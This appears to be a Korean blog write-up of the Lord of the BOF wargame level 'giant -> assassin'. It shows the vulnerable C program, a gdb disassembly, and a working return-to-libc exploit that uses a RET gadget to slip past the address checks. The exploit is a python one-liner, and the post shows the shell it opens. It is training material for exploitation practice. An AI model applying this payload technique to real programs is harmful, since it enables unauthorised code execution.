[LOB] - giant -> assassin 풀이
글 작성자: Universe7202
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
이번 문제는 48번째 값에 스택주소와 공유 라이브러리 함수의 주소를 사용하지 못하게 끔 코딩 되어 있다.
하지만 이는 RET sled로 우회가 가능하다.
RET 주소를 알아내기 위해 gdb로 분석하면 RET의 주소는 0x804851e이다.
(gdb) disas main
Dump of assembler code for function main:
...
0x804850a <main+154>: add $0x8,%esp
0x804850d <main+157>: push $0x2c
0x804850f <main+159>: push $0x0
0x8048511 <main+161>: lea 0xffffffd8(%ebp),%eax
0x8048514 <main+164>: push %eax
0x8048515 <main+165>: call 0x8048398 <memset>
0x804851a <main+170>: add $0xc,%esp
0x804851d <main+173>: leave
0x804851e <main+174>: ret
RTL 공격을 위해 이전 풀이에서 system과 /bin/sh의 주소를 똑같은 방법으로 찾으면,
system() = 0x40058ae0
/bin/sh = 0x400fbff9
최종적인 payload 구조는 아래와 같다.
[Dummy Code(44)] + [&RET] + [&system] + [Dummy Code(4)] + [&/bin/sh]
위 구조를 참고해서 payload를 작성해서 shell을 획득한 것을 볼 수 있다.
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB@
bash$ whoami
assassin
bash$ my-pass
euid = 515
pushing me away
bash$
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] Welcome write up (0) | 2019.12.26 |
---|---|
[LOB] - zombie_assassin -> succubus 풀이 (0) | 2019.10.06 |
[LOB] - darkknight -> bugbear 풀이 (0) | 2019.10.06 |
[LOB] - troll -> vampire 풀이 (0) | 2019.10.05 |
[LOB] - orge -> troll 풀이 (0) | 2019.10.05 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] Welcome write up
[pwnable.xyz] Welcome write up
2019.12.26 -
[LOB] - zombie_assassin -> succubus 풀이
[LOB] - zombie_assassin -> succubus 풀이
2019.10.06 -
[LOB] - darkknight -> bugbear 풀이
[LOB] - darkknight -> bugbear 풀이
2019.10.06 -
[LOB] - troll -> vampire 풀이
[LOB] - troll -> vampire 풀이
2019.10.05